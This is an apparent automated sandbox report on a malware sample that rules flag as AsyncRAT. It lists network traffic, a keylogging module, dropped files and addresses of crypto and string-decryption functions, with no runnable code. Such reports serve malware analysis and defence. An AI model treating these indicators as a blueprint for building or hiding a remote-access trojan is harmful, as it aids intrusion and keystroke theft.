Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49842 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

File created: C:\recover\pw\DLLs\python_tools.cat

Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 26.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 24.2.olx.exe.239ef437310.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.olx.exe.20a7ec37310.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000018.00000002.1949998367.00000239EF437000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000F.00000002.1888895593.0000020A7EC37000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000001A.00000002.1948096979.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Detected potential crypto function

Source: C:\recover\olx.exe	Code function: 15_2_00007FF7769C2110	15_2_00007FF7769C2110
Source: C:\recover\olx.exe	Code function: 15_2_00007FF7769C2890	15_2_00007FF7769C2890
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A680D50	15_2_00007FFB0A680D50
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6692F0	15_2_00007FFB0A6692F0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68EAA0	15_2_00007FFB0A68EAA0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A685B20	15_2_00007FFB0A685B20
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A679BD0	15_2_00007FFB0A679BD0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68DBA0	15_2_00007FFB0A68DBA0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A66EC50	15_2_00007FFB0A66EC50
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A67FC20	15_2_00007FFB0A67FC20
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A67B8C0	15_2_00007FFB0A67B8C0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A65A8B0	15_2_00007FFB0A65A8B0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A673950	15_2_00007FFB0A673950
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A656A10	15_2_00007FFB0A656A10
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68BA00	15_2_00007FFB0A68BA00
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6619F0	15_2_00007FFB0A6619F0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6899A0	15_2_00007FFB0A6899A0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A67AA70	15_2_00007FFB0A67AA70
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A666A60	15_2_00007FFB0A666A60
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A678A60	15_2_00007FFB0A678A60
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A676A50	15_2_00007FFB0A676A50
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68FEE0	15_2_00007FFB0A68FEE0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A674FE9	15_2_00007FFB0A674FE9
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68A083	15_2_00007FFB0A68A083
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68D080	15_2_00007FFB0A68D080
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A673040	15_2_00007FFB0A673040
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68B040	15_2_00007FFB0A68B040
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A668030	15_2_00007FFB0A668030
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A694D80	15_2_00007FFB0A694D80
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68BD70	15_2_00007FFB0A68BD70
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A682300	15_2_00007FFB0A682300
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A678410	15_2_00007FFB0A678410
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6763F0	15_2_00007FFB0A6763F0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A66F3A0	15_2_00007FFB0A66F3A0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A67D39B	15_2_00007FFB0A67D39B
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6583A4	15_2_00007FFB0A6583A4
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A660480	15_2_00007FFB0A660480
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A686470	15_2_00007FFB0A686470
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A688454	15_2_00007FFB0A688454
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A659420	15_2_00007FFB0A659420
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68C420	15_2_00007FFB0A68C420
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A67E180	15_2_00007FFB0A67E180
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A684160	15_2_00007FFB0A684160
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A680120	15_2_00007FFB0A680120
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A658200	15_2_00007FFB0A658200
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A662740	15_2_00007FFB0A662740
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68C720	15_2_00007FFB0A68C720
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68F7F0	15_2_00007FFB0A68F7F0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6747E0	15_2_00007FFB0A6747E0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6837D0	15_2_00007FFB0A6837D0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A68987D	15_2_00007FFB0A68987D
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A676870	15_2_00007FFB0A676870
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A671850	15_2_00007FFB0A671850
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A675510	15_2_00007FFB0A675510
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A691590	15_2_00007FFB0A691590
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A681570	15_2_00007FFB0A681570
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A6F95A0	15_2_00007FFB0A6F95A0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A67A620	15_2_00007FFB0A67A620
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C37250C	15_2_00007FFB1C37250C
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C384CA0	15_2_00007FFB1C384CA0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C36FCD0	15_2_00007FFB1C36FCD0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C370560	15_2_00007FFB1C370560
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C387540	15_2_00007FFB1C387540
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C389E18	15_2_00007FFB1C389E18
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38C610	15_2_00007FFB1C38C610
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C365E60	15_2_00007FFB1C365E60
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C376668	15_2_00007FFB1C376668
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C370E3C	15_2_00007FFB1C370E3C
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C386650	15_2_00007FFB1C386650
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38FF06	15_2_00007FFB1C38FF06
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C3666FC	15_2_00007FFB1C3666FC
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C376EFC	15_2_00007FFB1C376EFC
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38BF18	15_2_00007FFB1C38BF18
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C35C6B0	15_2_00007FFB1C35C6B0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C37A6C0	15_2_00007FFB1C37A6C0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C37C720	15_2_00007FFB1C37C720
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C3757E0	15_2_00007FFB1C3757E0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C35D7B0	15_2_00007FFB1C35D7B0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C36AFD0	15_2_00007FFB1C36AFD0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38183C	15_2_00007FFB1C38183C
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C35E8D0	15_2_00007FFB1C35E8D0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C37B160	15_2_00007FFB1C37B160
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C36C140	15_2_00007FFB1C36C140
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C35FA30	15_2_00007FFB1C35FA30
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C366A58	15_2_00007FFB1C366A58
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38AAFC	15_2_00007FFB1C38AAFC
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C36D2B0	15_2_00007FFB1C36D2B0
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C374B30	15_2_00007FFB1C374B30
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C35B338	15_2_00007FFB1C35B338
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C3663C8	15_2_00007FFB1C3663C8
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C385470	15_2_00007FFB1C385470
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C36E470	15_2_00007FFB1C36E470
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB1C38344C	15_2_00007FFB1C38344C
Source: C:\recover\olx.exe	Code function: 15_2_00007FFB23A67774	15_2_00007FFB23A67774
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_028B0F38	18_2_028B0F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_051E6018	18_2_051E6018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_051E6DE8	18_2_051E6DE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_051E0448	18_2_051E0448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_051E1480	18_2_051E1480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_051EB0F0	18_2_051EB0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_051E5A58	18_2_051E5A58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_07181ED8	18_2_07181ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_07182C38	18_2_07182C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 18_2_07186138	18_2_07186138
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A680D50	24_2_00007FFB0A680D50
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6692F0	24_2_00007FFB0A6692F0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68EAA0	24_2_00007FFB0A68EAA0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A685B20	24_2_00007FFB0A685B20
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A679BD0	24_2_00007FFB0A679BD0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68DBA0	24_2_00007FFB0A68DBA0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A66EC50	24_2_00007FFB0A66EC50
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A67FC20	24_2_00007FFB0A67FC20
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A67B8C0	24_2_00007FFB0A67B8C0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A65A8B0	24_2_00007FFB0A65A8B0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A673950	24_2_00007FFB0A673950
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A656A10	24_2_00007FFB0A656A10
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68BA00	24_2_00007FFB0A68BA00
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6619F0	24_2_00007FFB0A6619F0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6899A0	24_2_00007FFB0A6899A0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A67AA70	24_2_00007FFB0A67AA70
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A666A60	24_2_00007FFB0A666A60
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A678A60	24_2_00007FFB0A678A60
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A676A50	24_2_00007FFB0A676A50
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68FEE0	24_2_00007FFB0A68FEE0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A674FE9	24_2_00007FFB0A674FE9
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68A083	24_2_00007FFB0A68A083
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68D080	24_2_00007FFB0A68D080
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A673040	24_2_00007FFB0A673040
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68B040	24_2_00007FFB0A68B040
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A668030	24_2_00007FFB0A668030
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A694D80	24_2_00007FFB0A694D80
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68BD70	24_2_00007FFB0A68BD70
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A682300	24_2_00007FFB0A682300
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A678410	24_2_00007FFB0A678410
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6763F0	24_2_00007FFB0A6763F0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A66F3A0	24_2_00007FFB0A66F3A0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A67D39B	24_2_00007FFB0A67D39B
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6583A4	24_2_00007FFB0A6583A4
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A660480	24_2_00007FFB0A660480
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A686470	24_2_00007FFB0A686470
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A688454	24_2_00007FFB0A688454
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A659420	24_2_00007FFB0A659420
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68C420	24_2_00007FFB0A68C420
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A67E180	24_2_00007FFB0A67E180
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A684160	24_2_00007FFB0A684160
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A680120	24_2_00007FFB0A680120
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A658200	24_2_00007FFB0A658200
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A662740	24_2_00007FFB0A662740
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68C720	24_2_00007FFB0A68C720
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68F7F0	24_2_00007FFB0A68F7F0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6747E0	24_2_00007FFB0A6747E0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6837D0	24_2_00007FFB0A6837D0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A68987D	24_2_00007FFB0A68987D
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A676870	24_2_00007FFB0A676870
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A671850	24_2_00007FFB0A671850
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A675510	24_2_00007FFB0A675510
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A691590	24_2_00007FFB0A691590
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A681570	24_2_00007FFB0A681570
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A6F95A0	24_2_00007FFB0A6F95A0
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A67A620	24_2_00007FFB0A67A620

Found potential string decryption / allocating functions

Source: C:\recover\olx.exe	Code function: String function: 00007FFB0A65CE20 appears 32 times
Source: C:\recover\olx.exe	Code function: String function: 00007FFB0A65C1A0 appears 126 times

One or more processes crash

Source: C:\recover\olx.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7504 -s 576

PE file contains executable resources (Code or Archives)

Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Sample file is different than original file name gathered from version info

Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_uuid.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1404572275.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140_1.dllT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1403225658.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcurl.dllB vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1406854629.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140_atomic_wait.dllT vs vUlh7stUHJ.exe
